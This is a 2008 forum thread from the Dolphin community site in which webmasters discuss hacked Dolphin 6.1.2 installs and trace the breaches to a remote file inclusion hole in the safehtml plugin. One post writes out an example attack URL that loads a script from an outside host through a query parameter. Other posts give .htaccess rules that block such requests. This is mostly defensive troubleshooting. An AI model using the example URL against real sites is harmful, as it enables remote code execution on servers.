Securtiy Problem at Dolphin 6.1.2 ?!
realmasterd
posted 9th of July 2008
in
Community Voice.
31 comments.
hello from germany.
we think that dolphin 6.1.2 have a security problem!
some of german webmaster dolphin websites are hacked.
we have found this information:
http://www.astalavista.com/index.php?section=exploits&cmd=details&id=6128
antivirussoftware have found a trojaner in
\plugins\safehtml\templates.php
here the code from this file:
http://test.tunelife.de/template.txt
all access and some other thinks go to this e-mail adress:
r57ssh@gmail.com
we hope that somebody can find a solution.
greetz
http://dolphin-forum.eu
we think that dolphin 6.1.2 have a security problem!
some of german webmaster dolphin websites are hacked.
we have found this information:
http://www.astalavista.com/index.php?section=exploits&cmd=details&id=6128
antivirussoftware have found a trojaner in
\plugins\safehtml\templates.php
here the code from this file:
http://test.tunelife.de/template.txt
all access and some other thinks go to this e-mail adress:
r57ssh@gmail.com
we hope that somebody can find a solution.
greetz
http://dolphin-forum.eu
Below is the legacy version of the Boonex site, maintained for Dolphin.Pro 7.x support.
The new Dolphin solution is powered by UNA Community Management System.
The new Dolphin solution is powered by UNA Community Management System.
well, i dont got template.php in this directory.... So i can find it.
Any yes, the link which you post to open the file, results in a warning from AV...
Greets
Jerry
Do you know how many sites have been hacked?
Pls let us know or give us some examples.
Maybe there is a corrupted installer file anywhere on the net and these guys downloaded it.
Cause the user with the mail above is doing that shit on other plattforms also. Check google for this.
For me, i dont find anyhting about it, also not such a file... But tonight ill download my whole dir and scan it.
So from my side: No, see more
we connected the webmaster to know about 3rd mods/plugins.
for example, html in comments or something else..
if i have more i write this ;)
first webmaster have this mods/plugins:
calendar, safehtml, tiny_mce
second webmaster have original dolphin version without any mods/plugins!
both was hacked.
http://www.pictureupload.de/originals/pictures/090708153724_Unbenannt.jpg
I've just put a "Deny from all" in the directories concerned by the security hole.
Also i didnt found any templates.php inside there.
The plugins which you listed are original one which you got from the package.
So, maybe the hackr came through another hole on the server to it. As i remember, Dolphin was checked and branded as hack safe....
I think, that he maybe used a wrong mod or somethingelse. Do you know which kind of mods he installed on the server?
Yet, now, i dont know which exploid they can use to put the file through dolphin to your server...
Also it think, that then they must be a lot moreguys who got hacked. Cause when you are able to get in a system, then you are looking for another one, and its easy to search google for peeps who are running dolphin...
Its just my mind...
But we will see what a offical from boonex will say..
And using them is not the hardest way. Just go to youtube and search for RFI hack und you will find a huge amount of detailed descriptions to hack sites like dolphin within a few minutes.
I think there should be some coder work done to make it safer.
what i believe, is that this person who had their site hacked is on a shared and in being a shared server, and this would be injected with no trace of it being used. since it would be loaded on an account that is on the server, you can then browse certain files that would give up parameters that would allow injection via of remote shell but its not remote its a php see more
as i have 2 VPS servers myslef ( running LINUX )
the provider who runs these servers
"he says that any VPS server your running on can be hacked from inside from another user since most VPS servers are shared with alot of users" ...
=====
this is my thought on VPS
VPS servers are shared by alot of different users and if you plan on hosting a big site
( i would not recommend using see more
holla,
DosDawg
later,
DosDawg
Generally, a dedicated server is better than a VPS - they are the same amount of work to maintain - and at least with a dedicated one, you have 100% of the system resources 100% of the time.
Dont forget when paying 29$ a month for a Dedicated Server your not going to recieve unlimitted BANDWIDTH
( thats for sure ) ...
19.99$ a month for a DEDICATED SERVER
http://www.millenniumdata.com/BUSINESS/Business-Default.asp?include=Business-Dedicated-Servers.asp
ive used them before with
Windows Server 2003
29.99$ ( dedicated server ) i used this 1 before and it worked great i was able to hold 1000 users ( video chat ) another chat program
with no problems at all
i recievded 1000gb of bandwidth a month
( very good for that price )
go take a look at that site ....
alot of my friends see more
instead of windows server 2003 they have been replaced with windows xp for the same price
i used there 59.99$ also which is alot more BANDWIDTH
is a good machine
in my oppion windows xp pro is much faster then windows 2003
you get what you pay for. and that is what people dont understand, a dedicated server for $50 is an old slow server but idea for running a few dolphin sites from it.
it would give you the skills to move up as your sites become popular. so for once i agree with technoman. see more
Is allow_url_fopen = on (dolphin need this) than u can include everything, because HTMLSax3.php doesn´t check this
it seems like this:
http://domain.com/plugins/safehtml/HTMLSax3.php?dir[plugins]=http://somehackdomain.cz/upload/skins/max.txt?
On the german dolphin forum i found this to make a FIRST fix:
create a .htaccess in /plugins/safehtml/
RewriteEngine On
RewriteCond %{QUERY_STRING} (.*)=http(.*) [NC,OR]
RewriteCond %{QUERY_STRING} (.*)urlx=(.*) [NC]
RewriteRule see more
many new information.
its not directly a dolphin problem but dolphin is the way to hack server. "allow_URL_fopen" is needed for orca forum and about this the hacker can heacked a server.
they are using this file:
plugins/safehtml/HTMLSax3.php
ip from hacker was this one:
http://private.dnsstuff.com/tools/ipall.ch?domain=189.56.100.76
our solution!
edit the .htaccess file add add this:
RewriteEngine On
RewriteCond %{QUERY_STRING} (.*)=http(.*) [NC,OR]
RewriteCond see more
Please let us know
put this code at the end in the .htaccess, befor </IfModule>
RewriteCond %{QUERY_STRING} (.*)=http(.*) [NC,OR]
RewriteCond %{QUERY_STRING} (.*)urlx=(.*) [NC]
RewriteRule ^(.*) - [F]
register_gloabs must be off.
thanks all!
Please let us know
Please let us know
Modsecurity is blocking these 1-4 times a hour